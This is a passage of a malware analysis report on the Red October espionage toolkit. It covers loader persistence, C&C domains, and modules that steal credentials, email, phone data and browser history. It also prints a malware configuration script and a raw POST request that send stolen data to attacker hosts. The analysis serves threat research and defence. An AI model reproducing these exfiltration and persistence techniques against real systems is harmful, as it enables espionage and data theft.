35061250A7C580A4CEA31F29E050C4FF 2011.03.14 14:46:51 (GMT) 2011.03.03 12:50:46 (GMT)
58C5D4158DF279E9038344D0B420BEDE 2011.03.14 14:58:56 (GMT) 2011.03.03 12:50:46 (GMT)
24546BB958EDD449408BA1AADDB3DCEB 2011.03.04 11:46:39 (GMT) 2011.03.02 09:45:07 (GMT)
2541C266893A45F393112C6F15C2A0C7 2011.01.13 07:59:02 (GMT) 2010.10.11 14:14:34 (GMT)
B0D190A48E749B2688E7A90CE3926E84 2011.03.09 08:58:07 (GMT) 2011.03.03 12:50:46 (GMT)
3E35C7C39BC71BADFE9AD15752C2DDDE 2012.09.06 10:30:38 (GMT) 2011.03.15 07:43:59 (GMT)
EBCCD9FC831B168D872F6556B4A42DAC 2011.03.15 08:33:11 (GMT) 2011.03.15 07:43:59 (GMT)
7AAC26EA551EC67882E14C388E436F10 2011.03.15 09:06:51 (GMT) 2011.03.15 07:43:59 (GMT)
5F1D10F7CA9E1B9C301872B1BC4B8A18 2011.05.06 07:58:13 (GMT) 2011.03.15 07:43:59 (GMT)
812FC1780548F0611E3F4105E48E518A 2011.05.26 11:04:38 (GMT) 2011.03.15 07:43:59 (GMT)
DC0A5753F9885D0BA71ECEA767F91564 2011.07.20 11:06:28 (GMT) 2011.03.15 07:43:59 (GMT)
D44966B31FC6BAFF97AE23EA53A6DFF0 2011.10.06 14:05:34 (GMT) 2011.03.15 07:43:59 (GMT)
141DC8FD84D985F792DE9747F63C6A4C 2011.03.14 15:00:23 (GMT) 2011.03.03 12:50:46 (GMT)
8CE5E706D956D28F6412C38FC5911DCE 2011.03.09 08:18:38 (GMT) 2011.03.03 12:50:46 (GMT)
0C4D3483AD48A4751E288993388E03D2 2011.03.14 14:49:50 (GMT) 2011.03.03 12:50:46 (GMT)
9BD07F7DC5E26F022FDEA386D35EAC68 2011.03.09 07:46:51 (GMT) 2011.03.03 12:50:46 (GMT)
1754024F9932DC25691CDB90D8FAC632 2011.04.13 05:34:30 (GMT) 2011.03.15 07:43:59 (GMT)
4168EEF52CD458B253EBE62B8DAF75AC 2011.03.14 13:34:01 (GMT) 2011.03.03 12:50:46 (GMT)
2B62D48C9D728C5D9650B39E0119F1B7 2010.11.12 09:29:19 (GMT) 2010.10.11 14:14:34 (GMT)
EA74E951111ED2E046B87C0A9241FC25 2012.08.02 05:59:07 (GMT) 2011.03.15 07:43:59 (GMT)
3BE885097DBD3DF03B568D1E248A2E4C 2012.09.13 09:41:13 (GMT) 2011.03.15 07:43:59 (GMT)
B952997DD0AB0B58F916AF89A5C3E4BD 2011.04.29 10:02:22 (GMT) 2011.03.15 07:43:59 (GMT)
2216490B1C09BB9B4E07AD05A1552FE9 2012.04.06 11:35:36 (GMT) 2011.03.15 07:43:59 (GMT)
DBE4C33F6C482D571305589207A3F910 2011.03.14 14:57:27 (GMT) 2011.03.03 12:50:46 (GMT)
8E88185368C9C2C53014E0BAEFCE3066 2011.03.09 08:05:16 (GMT) 2011.03.03 12:50:46 (GMT)
3. Loader module
Known file locations:
%PROGRAMFILES%\Windows NT\svchost.exe %PROGRAMFILES%\Windows NT\svclogon.exe
The module is a PE EXE file, compiled with Microsoft Visual Studio 2005.
This module is created by the first-stage dropper of the malware, usually from a file containing an exploit.
It creates a system event object using name patterns:
WIN_%08X%08X%08X%08X%08X, where %08X parameters are replaced by the hexadecimal value of the file
body checksum (SHA1).
"SYS_%08X%08X%08X%08X%08X", where %08X parameters are replaced by the hexadecimal value of the file
name checksum (SHA1).
Then, the module checks if it was granted administrative rights and sets corresponding flag, which is used in several
subroutines.
The module generates a CLSID from the value of the SHA1 checksum of the system directory path and the volume serial
number of the system drive.
Then, it tries to read the default value of the following registry key:
HKLM\Software\Classes\CLSID\generated_CLSID (if it has administrative rights)
HKCU\Software\Classes\CLSID\generated_CLSID (if it has no administrative rights)
It checks the contents of the default key value. This check succeeds if the registry key is not present or its value is equal to
the last DWORD of the files SHA1 checksum. Otherwise the check fails and it runs the check again each 3 milliseconds
for 4294967294 times.
Then, it sets the default value of the registry key to the hexadecimal representation of the value of the last SHA1s DWORD
and tries to read the registry value InfoTip from the same registry key. The registry value is assumed to be a 48-byte
binary buffer. It reads the time value from that buffer and exits if the difference between the recorded time and current time
is less than 3 days.
This means that the updated modules can be delivered not sooner than in three days to the same victim. If someone tries
to reinfect the system with the same dropper, it refuses to do so within 3 days from last infection. This can also be a
mechanism to escape from attention of power users or administrators who can run recently opened suspicious application
again and monitor its activity.
Then, it starts a registry installation thread and proceeds to its main loop.
Registry installation thread
Every 100 seconds the module ensures that it has been registered for autorun using one of the registry keys:
If launched as administrator, it appends path to its own filename to:
HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon\Userinit
Else, it writes a registry value in:
HKCU\Software\Microsoft\Windows\CurrentVersion\
Run\%autorun key% =path to itself
Possible Autorun key values that we have observed:
Name of the encrypted main module Name of the Run registry value
fsmgmtio32.msc DotNet32
cfsyn.pcs SdbChk
frpdhry.hry Hre32
ime64ex.ncs SrvCC32
io32.ocx Ocx32
lhafd.gcp Lha
lsc32i.cmp Lsc32
ocxstate.dat NtNdsc
opdocx.gxt Scpsts
sccme.hrp Lhrp
scprd.hrd Srsf
syncls.gxk Mslisht
lgdrke.swk Sltrdbe
sdlvk.acx Ltsmde
wsdktr.ltp Lsrtmpx
synhfr.pkc Msdcc
scpkrp.gmx Dbxchek
rfkscp.pck Cskcmp
qsdtlp.rcp Klsmod
Main loop
The module runs a loop with random Sleep() delays, and checks if it can fetch one of the URLs at microsoft.com.
Name of the encrypted main module Hostnames
fsmgmtio32.msc update.microsoft.com, www.microsoft.com
Other
update.microsoft.com, www.microsoft.com,
support.microsoft.com
If any of the URLs are available, it starts the loader thread with a filename of the main module (see Appendix A) as a
parameter. Then, it updates the InfoTip registry key with current time value and SHA1 of its filename. It also stores own
Process ID in that value.
The module reads the proxy server settings of Internet Explorer, Firefox, Opera and tries to fetch URLs via proxies when
direct connection is not available.
Loader Thread
The module reads the file that contains the main module, decrypts it using RC4 with a hard-coded key, and then
decompresses it using the Zlib library. Then, it checks that the decompressed buffer contains a PE file and starts the PE
loader thread.
PE loader Thread
The module implements its own PE loader. The file that is loaded is expected to be a DLL. After loading and relocating the
PE, the module calls its DllMain function twice (DLL_PROCESS_ATTACH, DLL_PROCESS_DETACH) and returns.
4. Main component
The file is a PE DLL file, no export symbols, compiled with Microsoft Visual Studio 2005.
DllMain function
The module sets a timer with a callback function to be executed every 900 seconds and starts a Windows message loop.
Timer callback function
The module checks if the computer is connected to the Internet (using InternetGetConnectedState API) and if it is
connected, starts its main thread.
HTTP Traffic generated by the main component.
Main thread
The module prepares a 98-byte buffer that contains several unique machine identifiers using its system drives serial
number, network adapters MAC addresses and Internet Explorer registration ID. The buffer also contains a unique hard-
coded hexadecimal string that appears to be a victim or campaign ID and a hard-coded DWORD value.
Then, it sends this buffer to a first available C&C server from a hardcoded list using HTTP POST requests. The module
expects to receive an encrypted response packet from the server. It decrypts the packet with a simple XOR algorithm, and
executes one of the following commands depending on the data contained in the packet:
Load the Dll from the packet in memory and execute its DllMain
Write the packet to a file in temporary/windows/system directory and execute it using CreateProcess()
Load a Dll by specified local path and call its DllMain, or execute a program given its path
Write the packet to a file in temporary/windows/system directory
Write the contents of the packet to %TEMP%\bestcrypt_update.exe and (optional part) %TEMP%\bestcrypt_update.dll
and execute the EXE file
C&C server usage timeline
Year C&C domain names URL
2007 msgenuine.net /cgi-bin/view
2008 msinfoonline.org /cgi-bin/a/slice
2009 microsoftosupdate.com;microsoft-msdn.com;microsoftcheck.com /cgi-bin/ms/check
osgenuine.com;wingenuine.com;update-genuine.com /cgi-bin/gen/jau
2010 drivers-update-online.com;drivers-get.com;drivers-check.com /cgi-bin/driver/info
genuine-check.com;genuineservicecheck.com;genuineupdate.com /cgi-bin/genuine/a
msonlineupdate.com;msonlinecheck.com;msonlineget.com /cgi-bin/online/set
os-microsoft-check.com;os-microsoft-update.com;os-microsoft-
online.com
/cgi-
bin/microsoft/dev
windowscheckupdate.com;windows-
genuine.com;windowsonlineupdate.com
/cgi-bin/win/wcx
2011 dll-host-update.com;dll-host-check.com;dll-host.com /cgi-bin/dllhost/ac
genuine-check.com;genuineservicecheck.com;genuineupdate.com /cgi-bin/genuine/a
microsoftosupdate.com;microsoft-msdn.com;microsoftcheck.com /cgi-bin/ms/check
ms-software-check.com;ms-software-update.com;ms-software-
genuine.com
/cgi-bin/software/tau
nt-windows-online.com;nt-windows-update.com;nt-windows-check.com /cgi-bin/nt/th
svchost-check.com;svchost-online.com;svchost-update.com /cgi-bin/svchost/uat
2012 csrss-check-new.com;csrss-update-new.com;csrss-upgrade-new.com /cgi-bin/csrss/dfl
ms-software-check.com;ms-software-update.com;ms-software-
genuine.com
/cgi-bin/software/tau
nt-windows-online.com;nt-windows-update.com;nt-windows-check.com /cgi-bin/nt/th
svchost-check.com;svchost-online.com;svchost-update.com /cgi-bin/svchost/uat
wins-driver-check.com;wins-driver-update.com;win-driver-upgrade.com /cgi-bin/ntdriver/ton
Main component file names
Year File name of the main component
2007 netads.dat
2008 smartiosys.dbn
2009 smartiosys.dbn
2010 fsmgmtio32.msc
ime64ex.ncs
ocxwinsmb.tlb
2011 frpdhry.hry
ime64ex.ncs
io32.ocx
lhafd.gcp
lsc32i.cmp
ocxstate.dat
sccme.hrp
scprd.hrd
2012 klsldr.slr
lgdrke.swk
lsmpdr.vcs
mbdsec.sdx
ocxstate.dat
opdocx.gxt
qsdtlp.rcp
rfkscp.pck

scpesc.ecs
scpkrp.gmx
sdlvk.acx
syncls.gxk
synhfr.pkc
wsdktr.ltp
Example of C&C communication session
(two bytes of the User ID were removed)
Red October. Detai l ed Mal ware Descri pti on 2. Second
: http://www.securelist.com/en/analysis/204792268/Red_October_Detailed_Malware_Description_2_Second_Stage_of_Attack
Red October. Detailed Malware Description 2. Second Stage of Attack
1. Exploits
2. Dropper
3. Loader Module
4. Main component
2. Recon group
3. Password group
4. Email group
5. USB drive group
6. Keyboard group
8. Spreading group
9. Mobile group
Module framework
The main component of Sputnik implements a framework for executing the tasks that are provided by its C&C servers.
Most of the tasks are provided as one-time PE DLL libraries that are received from the server, executed in memory and then
immediately discarded.
Several tasks need to be constantly present, i.e. waiting for the iPhone or Nokia mobile to connect. These tasks are provided
as PE EXE files and are installed to the infected machine.
Persistent tasks
Once a USB drive is connected, search and extract files by mask/format, including deleted files. Deleted files are
restored using a built in file system parser
Wait for an iPhone or a Nokia phone to be connected. Once connected, retrieve information about the phone, its phone
book, contact list, call history, calendar, SMS messages, browsing history
Wait for a Windows Mobile phone to be connected. Once connected, infect the phone with a mobile version of the
Sputnik main component
Wait for a specially crafted Microsoft Office or PDF document and execute a malicious payload embedded in that
document, implementing a one-way covert channel of communication that can be used to restore control of the infected
machine
Record all the keystrokes, make screenshots
Execute additional encrypted modules according to a pre-defined schedule
Retrieve e-mail messages and attachments from Microsoft Outlook and from reachable mail servers using previously
obtained credentials
One-time tasks
Collect general software and hardware environment information
Collect filesystem and network share information, build directory listings, search and retrieve files by mask provided by
the C&C server
Collect information about installed software, most notably Oracle DB, RAdmin, IM software including Mail.Ru agent,
drivers and software for Windows Mobile, Nokia, SonyEricsson, HTC, Android phones, USB drives
Extract browsing history from Chrome, Firefox, Internet Explorer, Opera
Extract saved passwords for Web sites, FTP servers, mail and IM accounts
Extract Windows account hashes, most likely for offline cracking
Extract Outlook account information
Determine the external IP address of the infected machine
Download files from FTP servers that are reachable from the infected machine (including those that are connected to its
local network) using previously obtained credentials
Write and/or execute arbitrary code provided within the task
Perform a network scan, dump configuration data from Cisco devices if available
Perform a network scan within a predefined range and replicate to vulnerable machines using the MS08-067 vulnerability
Replicate via network using previously obtained administrative credentials
Module Groups
Group
name
Descrition
Recon
Modules of this group designed to be used during first stage of cyberattack right after initial infiltration. Their main
purpose is to collect general information about target system which helps locate and identify the infected machine,
estimate potential value of current computer data and define which other modules should be pushed next. Also, these
modules collect initial easy-to-get type of information such as browser history, browser cached credentials and FTP
client settings.
Password
This group of modules is designed to steal credentials from various applications and resources, from Mail.ru Agent
(popupal free app from mail.ru) to MS Outlook credentials and Windows account hashes (including cached Windows
Domain account hashes). Capable of using low-level and direct disk access to copy protected files.
Email
This group serves stealing emails from local MS Outlook storage or remote POP3/IMAP mail server. Its capable of
dumping full email bodies with headers, saving attachments with predefined file extensions.
USB drive
This group is used to steal files from attached USB devices. It monitors USB device events and starts every time new
device is attached. It can copy files from predefined extension list, size and age. This group capable of recognition,
restoration and copying already deleted files of MS Office document formats by using own FAT-based filesystem
parser.
Keyboard This group is dedicated to recording keystrokes, grabbing text from password input fields and making screencaptures.
Persistence
Current group contains installer and payload code to plant a plugin in popular applications such as MS Office or Adobe
Reader. The backdoor code is activated when specially crafted document is opened on target machine. This is used to
regain lost access on a machine in case of unexpected loss of control (C&C server takedown or local malware
cleaning).
Spreading
Modules of this group are used to scan for other hosts on the network, fingerprint them and then infect via MS08-067
or a list of stolen admin credentials. A module from this group is capable of dumping Cisco network router
configuration via SNMP commands and embedded TFTP server.
Mobile
Mobile group is used to dump all valuable information about locally attached mobile device. It is capable of copying
contact information, calendars, SMS and Emails databases and many other private data. These modules are capable of
checking if a device was jailbroken.
Exfiltration
While some of other modules work in offline mode, collect and store data locally, this group of modules transfers all
collected data to the C&C server. Modules of this group are capable of reaching FTP servers, remote network shares
as well as local disk drives and copy files from these resources. Unlike Recon data collection modules these modules
are designed to run repeatedly and bring only new valuable data.
Missing Modules
Group
name
Descrition
USB
Infection
There are modules that copy data files (such as execution logs) related to current malware family from USB drives.
However, we havent seen a module to infect the USB drives yet. We suspect that this module is capable of infecting
removable storage, running arbitrary modules from other groups and save data back to the USB drives.
Module comparison table
2. Recon group
RegConn module
Known variants:
MD5 Size Compilation date (payload)
5447848f3a5fdaf97c498190ed501620 167,936 bytes October 22nd, 2011
Summary
Gathers system related information. Records installed and recently run software, related application launch timestamps,
enumerates attached usb devices like mobile phones and looks for software from this devices, checks for presence of
custom enterprise software, maintains unfinished/unreferenced download+execute functionality, sends encrypted collected
data at one of C&C servers (i.e. nt-windows-online.com;nt-windows-update.com;nt-windows-check.com).
This module is a Win32 Dll file. C runtime and several other libs statically linked into the executable with various
optimizations enabled. All functionality is in DllMain function, no export names defined. Compiled with MS Visual C++ 2005.
Sequence of systems monitoring tasks
1. Gathers startup information, select environment variables and values %windir%, %username%, %userdomain%,
%computername%)
2. Opens target directory c:\windows\prefetch, records all entries in the directory of applications recently run along with
timestamp, i.e.
PREFETCH DEFRAG.EXE-273F131E.pf.2012-10-31 18:32:37
PREFETCH DUMPBIN.EXE-0751B17C.pf.2012-11-01 23:45:39
Loops through registry, attempts to access and record all recently used application data, i.e.
C:\Program Files\Common Files\Java\Java Update\jusched.exe, REG_SZ, Java(TM) Update Scheduler
C:\Documents and Settings\p\Local Settings\Application Data\Google\Update\GoogleUpdate.exe, REG_SZ, Google Installer
C:\Program Files\Messenger\msmsgs.exe, REG_SZ, Windows Messenger
Attempts to access and record a set of hardcoded registry keys related to enterprise software. Attempts to access and
record related keys and values. Reports on success and failure of related key and value access, i.e.
REG ORACLE* CHECK
(1) Software\Oracle\Sun
Ray\ClientInfoAgent\DisconnectActions\@Default -> REG_SZ:""
(1) Software\Oracle\Sun Ray\ClientInfoAgent\ReconnectActions\
@Default -> REG_SZ:""
Attempts to access and record all registry keys and values related to context menu handlers and related executable
pathnames, i.e.
Context MENU *\shellex\ContextMenuHandlers\7-Zip
(1) *\shellex\ContextMenuHandlers\7-Zip\@Default -> REG_SZ: "{23170F69-40C1-278A-1000-000100020000}"
(1) CLSID\{23170F69-40C1-278A-1000-000100020000}\@Default -> REG_SZ: "7-Zip ShellExtension"
(1) CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\@Default -> REG_SZ: "C:\Program Files\7-Zip\7-
zip.dll"
(2) CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ThreadingModel -> REG_SZ: "Apartment"
Attempts to access and record registry keys and values related to auto-start applications enumerated under the HKCU
Run key and all HKLM\Userinit registry keys, i.e.
HKCU Run
(1) SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VBoxTray ->
REG_SZ: "C:\WINDOWS\system32\VBoxTray.exe"
(2) SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SunJavaUpdateSched -
> REG_SZ: "C:\Program Files\Common Files\Java\Java Update\jusched.exe"
Attempts to access and record registry keys and values enabling email and webmail access under HKCU\Software\VB
and VBA Program Settings\Webmailer, MSOffice settings, and HKCU\Software\Mail.ru\Agent\Agent, i.e.
REG_MRA Run
(1) Software\Mail.Ru\Agent\Agent -> REG_SZ: "1"
Attempts to access and record registry keys and values related to hardcoded list of attached mobile devices and also
general USB devices and mobile synchronization and contact software. Reports on success and failure of related key
and value access, i.e.
N2 Run
ERROR: can't make RegOpenKey for Software\Nokia\PC Suite at 412: 0
MSG: The operation completed successfully
Attempts to access and record registry keys and values related to list of all installed software. Reports on success and
failure of related key and value access, i.e.
REG_SPEC_SSS_B Run
(1) SOFTWARE\Classes\Installer\Products\0B79C053C7D38M
EE4AB9A00CB3B5D2472\ProductName -> REG_SZ: "WebFldrs XP"
Attempts to access and record registry keys and values indicating the presence of Radmin v2.0 remote control
software, i.e.
Radmin Run
ERROR: can't make RegOpenKey for SYSTEM\RAdmin\v2.0\Server\Parameters at 412: 0
MSG: The operation completed successfully
Attempts to open Firefox prefs.js and profiles.ini configuration files. Attempts to open Opera profile.ini,
profile/Opera6.ini configuration files. Reads these files and identifies network proxies for each along with credential
information. Retrieves Internet Explorer proxy preferences from the registry.
Searches for the following file types in the registry and corresponding handler and attempts to record related data for
the following extensions:
.str .tte ._ok .ki .tel .tlg .zfc .encrypted .zm9 .dat
.crp .pcr .safe .ldf
As a part of the network activity loop, calls GetWindowsDirectoryA, GetDriveTypeA and GetVolumeInformation each
time, collects hardware information most likely for unique identification. Attempts to resolve nt-windows-update.com
domain name.
Following a successful call and return from WS2_32.WSAStartup and prior to WS2_32.gethostbyname, the collected
data is encrypted.
Attempts to connect to nt-windows-online.com. POSTs encrypted data to nt-windows-online.com/cgi-bin/nt/sk/.
If POST to nt-windows-online.com fails, attempts the same process with nt-windows-check.com, nt-windows-
update.com domains.
If no connections are made, attempts to use configured web browser proxy settings and uses them to connect to the
three hard-coded domains listed above.
Connects and POSTs the stolen configuration data.
Maintains download and execute code. How this functionality is called at runtime is uncertain. There are no references
to it at runtime, so it seems like something is missing or unfinished.
Hardcoded registry keys:
HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache
HKLM\Software\Oracle
HKCU\Software\CIT
HKCU\Software\CIT Software
HKLM\Software
HKLM\Software\Baw
HKLM\Software\Baw2
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCR\*\shellex\ContextMenuHandlers
HKCR\CLSID\
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
HKCU\SOFTWARE\VB and VBA Program Settings\WebMailer
HKCU\Software\Microsoft\Office\12.0\Common\General
HKCU\Software\Mail.Ru\Agent
HKLM\SOFTWARE\Classes\Installer\Products
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup
HKCU\SOFTWARE\Microsoft\Windows CE Services
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
HKLM\Software\Nokia
HKLM\Software\HTC\
HKLM\System\CurrentControlSet\Control\DeviceClasses
HKCR\SonyEricsson.PCCompanion.1\CLSID
HKLM\System\ControlSet001\Enum\Root\WPD\0000
HKLM\SYSTEM\CURRENTCONTROLSET\ENUM\USB
HKLM\SYSTEM\RAdmin\
Wnhttp module
Known variants:
MD5 Compilation date (payload)
1b840c5b45cd015f51010e12938b528a 2012.09.05 07:02:33 (GMT)
65820769534fec10958573d1c8a545a8 2012.09.05 07:02:33 (GMT)
Summary
The file is a PE DLL file without exported functions, compiled with Microsoft Visual Studio 2010. Known samples share one
code section, but contain different payloads in the resource section.
All the functionality is implemented in the DllMain function.
This module is a plugin to check Internet connectivity and get an external IP address of current system using popular public
services such as 2ip.ru, myip.ru, smart-ip.net.
DllMain
The module collects basic system information such as current computer name, current username, and path to the original
executable module where it started from. It creates a unique identifier of current system based on VolumeSerialNumber
property of the disk where current Windows system is located or a hash of current computer name and ProductID value of
Internet Explorer from HKLM\SOFTWARE\Microsoft\Internet Explorer\Registration\ProductID. This information is put in the
log file in the first place along with current date and time.
This module loads a config/script from local resource AAA and sends out some network requests using standard WinInet
API. The config/script AAA has the following contents:
SetOption(conn_a.D_CONN, [65] "nt-windows-online.com;nt-windows-update.com;nt-windows-check.com")
SetOption(conn_a.D_NAME, [15] "/cgi-bin/nt/sk")
SetOption(conn_a.D_RPRT, [3] "80")
SetOption(conn_a.D_SPRT, [3] "80")
SetOption(conn_a.D_USER, [21] "%removed%")
SetOption(conn_a.D_MODE, 0x0033)
SetOption(conn_a.D_PASS, 0x00)
SetOption(conn_a.J_CONN, [65] "nt-windows-online.com;nt-windows-update.com;nt-windows-check.com")
SetOption(conn_a.J_NAME, [15] "/cgi-bin/nt/th")
SetOption(conn_a.J_USER, [21] "%removed%")
SetOption(conn_a.J_RPRT, [3] "80")
SetOption(conn_a.J_SPRT, [3] "80")
SetOption(conn_a.J_MODE, 0x0033)
SetOption(conn_a.J_PASS, 0x00)
SetOption(conn_a.VERSION_ID, [6] "51070")
SetOption(conn_a.SEND_DELAY_TIME, [6] "20000")
SetOption(conn_a.VER_SESSION_ID, [11] "%removed%")
SetOption(http_host, [7] "2ip.ru")
SetOption(http_port, [3] "80")
SetOption(http_path, 0x002F)
SetOption(http_ua, [68] "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1)
Gecko/20100101 Firefox/5.0.1")
SetOption(http_headers, [177] "Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,
*/*;q=0.8 Accept-Language: en-us;q=0.5,en;q=0.3 Accept-Encoding:
gzip, deflate Accept-Charset: utf-8;q=0.7,*;q=0.7")
Call(task_http)
SetOption(http_host, [12] "www.myip.ru")
SetOption(http_headers, [177] "Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,
*/*;q=0.8 Accept-Language: en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Accept-Charset: utf-8;q=0.7,*;q=0.7")
Call(task_http)
SetOption(http_host, [13] "smart-ip.net")
SetOption(http_headers, [177] "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-
us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Accept-Charset: utf-8;q=0.7,*;q=0.7")
Call(task_http)
While conn_a parameters are used to access C&C server during reporting stage, other parameters which start with "http_"
are used to send out http requests. Target hosts as shown above are
1. 2ip.ru
2. www.myip.ru
3. smart-ip.net
The websites are used to get current IP address as it is visible on the Internet. If the machine is behind proxy or NAT router,
the IP address might be different from the local one. Interestingly all websites of current module developers' choice are
obviously owned by Russian-speaking people from former CIS countries, first two seem to be Russian and last one is
Ukrainian.
The module simply sends HTTP GET requests to the root page of the websites and gets the response code from the
headers as well as html/text source of the webpage, which is later uploaded to the C&C.
Current module doesn't create any local logs, instead all information is kept in memory, which is later compressed using Zlib
1.2.5, encrypted, encoded with Base64 algorithm and submitted to the C&C server.
Sysinfo module
Known variants:
MD5 Compilation date
e36b94cd608e3dfdf82b4e64d1e40681 2012.09.05 09:02:30 (GMT)
a2fe73d01fd766584a0c54c971a0448a 2012.09.05 09:02:30 (GMT)
The files differ only by few values from resources section (which contains configuration data) code is identical.
This module is a PE DLL, written in C++, compiled with Microsoft Visual Studio 2010.
DLL resides only in memory it does not drop itself or any other executables to the disk.
It creates %USERPROFILE%\Local Settings\Temp\tmpXX.tmp file (where XX is randomly generated hex number). During
the analysis, the file stayed 0-bytes. Most probably, it's created for further data logs.
DLL collects a range of information about the computer (including the browsers history). This data is written to the memory,
compressed with Zlib deflate() function which also performs some XOR operations on it encoded with base64 algorithm
and sent by the HTTP POST request to the C&C server.
Initialization
After it is loaded to the memory, malware loads and locks resource BBB:AAA:0000, which contains config information;
It gets the information about local system and current process:
computer name
user name
current module name
pid
Then it creates a separate thread, which contains the main module functionality.
Main malware thread
First, it constructs an internal filename string "@INFO\SYSINFO_%u_%s.bin"
where %u is equal to 7 and %s is system time obtained with use of GetLocalTime and SystemTimeToFileTime in format:
"%04u%02u%02u_%02u%02u%02u_%03u"
if FileTimeToSystemTime failed, it uses the default time string:
"16010101_000000_000"
if wsprintfW failed, it uses the default hardcoded filename:
"@INFO\SYSINFO_X_00000000_000000_000.txt"
Then it reads the configuration from the resources section and builds the structure containing all the necessary information at
specific offsets. This structure is held only in memory.
It contains a resource named AAA with the following values in it:
Call(task_sysinfo)
Malware main thread calls 2 main subroutines:
retrieves a lot of system information, including browsing history, and writes it to the in-memory log
takes data from the configuration in resources to connect to the C&C and submit collected data
Data collection
Malware collects following information:
current file time
local time
username
computer name
is admin (if the user has administrative rights)
language
ansi code package
oem code package
time zone
current module name
current directory
temp directory path
Windows directory path
system directory path
major OS version
minor OS version
build number
service pack number
platform id
Additionally, to obtain default applications for HTTP, HTTPS, HTMLFILE and MAILTO malware uses RegQueryValueEx to
check following registry keys under
HKCR\ttp\shell\open\command
HKCR\https\shell\open\command
HKCR\htmfile\shell\open\command
HKCR\mailto\shell\open\command
Following parameters are retrieved for each disk, including optical drives and shared mounts:
root path
filesystem name
volume name
drive type
volume serial number
filesystem flags
maximum component length
sectors per cluster
bytes per sector
number of free clusters
number of total clusters
free bytes available
total number of bytes
total number of free bytes
Then it collects information about local network adapters:
Adapter Name
Adapter Description
Address Length
Adapter MAC Address
Adapter Index
Adapter Type
DhcpEnabled
CurrentIpAddress
IpAddressList
GatewayList
DhcpServer
HaveWins
PrimaryWinsServer
SecondaryWinsServer
LeaseObtained
LeaseExpires
The malware looks for URL history from following browsers:
Chrome, Mozilla Firefox, Internet Explorer, Opera
1. Chrome history:
Before the malware is performing the SQL queries on the browsers profile-files, it copies the original file into a temp-file.
To get the Tempfile path and name it makes use of GetTempPathW and GetTempFileNameW with prefix tmp.
The Tempfile will be named like this:
tmpXX.tmp
Where XX is a 2-digit number starting from 00.
Malware use following SQL query:
SELECT * FROM urls
to extract URLs (with titles, last visited date) from Chrome history database:
\Google\Chrome\User Data\Default\History
2. Mozilla history (sub_10015430):
Malware use following SQL query:
SELECT * FROM moz_places
to extract URLs from Mozilla history database:
\Mozilla\Firefox\Profiles\%profilename%\places.sqlite
In both cases, malware performs SQL related actions with use of functions from embedded SQL library (most probably parts
of sqlite3.dll).
3. IE history (sub_10014F50):
Malware calls CoCreateInstance function with following values:
CLSID 3C374A40-BAE4-11CF-BF7D-00AA006946EE Microsoft Url History Service
RIID AFA0DC11-C313-11D0-831A-00C04FD5AE38 SID_IUrlHistoryStg2
i.e. it uses IUrlHistory interface to search through the history and calls SHDOCVW!CEnumSTATURL to enumerate URLs.
It also makes use of shdocvw.dll which is responsible to get control over IE. The call -adresses are resolved dynamically:
4. Opera history (sub_10014EB0):
Malware gets the Opera folder path and searches it for URLs in files:
global_history.dat, global.dat
All above subroutines retrieves URL + Title + Last Visited Time and write them to the memory (after the previous data).
Also, a DNS resolve is performed on all domain names.
This module also calls GetEnvironmentStrings to retrieve all environment variables.
It is also interested in current Windows Domain information
DomainControllerName
DomainControllerAddress
DomainControllerAddressType
DomainGuid
DomainName
DnsForestName
Flags
DcSiteName
ClientSiteName
The malware looks for all running processes and all modules loaded into their address space. For each file it retrieves
following values from the version info:
\StringFileInfo\%04x%04x\SpecialBuild
\StringFileInfo\%04x%04x\PrivateBuild
\StringFileInfo\%04x%04x\ProductVersion
\StringFileInfo\%04x%04x\ProductName
\StringFileInfo\%04x%04x\OriginalFilename
\StringFileInfo\%04x%04x\LegalTrademarks
\StringFileInfo\%04x%04x\LegalCopyright
\StringFileInfo\%04x%04x\InternalName
\StringFileInfo\%04x%04x\FileVersion
\StringFileInfo\%04x%04x\FileDescription
\StringFileInfo\%04x%04x\CompanyName
It looks for installed programs information by enumerating registry key:
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
For each entry it retrieves following values:
DisplayName
DislayVersion
DisplayIcon
InstallDate
UninstallString
InstallSource
InstallLocation
It retrieves information about installed USB devices.
Class GUID is hardcoded and equals:
{A5DCBF10-6530-11D2-901F-00C04FB951ED} GUID_DEVINTERFACE_USB_DEVICE
The malware checks registry for proxy settings and extracts proxy address somewhere (to some struct or class in the
memory) if present:
[HKLM|HKCU]
\Software\Microsoft\Windows\CurrentVersion\Internet Settings@ProxyServer
\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\InternetSettings@ProxyServer
It also checks registry for the value MapMenuConfigGrps (not sure what that is), extracts the data and write it somewhere:
[HKLM|HKCU]
\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced@MapMenuConfigGrps
\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Advanced@MapMenuConfigGrps
It checks Opera config files for proxy server and other server settings.
In files opera6.ini or operaprefs.ini it looks for the following strings:
SOCKS server
WAIS server
Gopher server
FTP server
HTTP server
HTTPS server
In file prefs.js it looks for strings:
user_pref("network.proxy.socks"
user_pref("network.proxy.socks_port"
user_pref("network.proxy.ftp"
user_pref("network.proxy.ftp_port"
user_pref("network.proxy.ssl"
user_pref("network.proxy.ssl_port"
user_pref("network.proxy.http"
user_pref("network.proxy.http_port"
Then malware compresses the information stored in memory using ZLib library and encrypted with custom algorihtm.
Then it connects to the C&C server defined in AAA config and sends a POST request containing compressed, xored and
base64-encoded data:
POST http://nt-windows-online.com:80/cgi-bin/nt/sk HTTP/1.0
Host: nt-windows-online.com:80
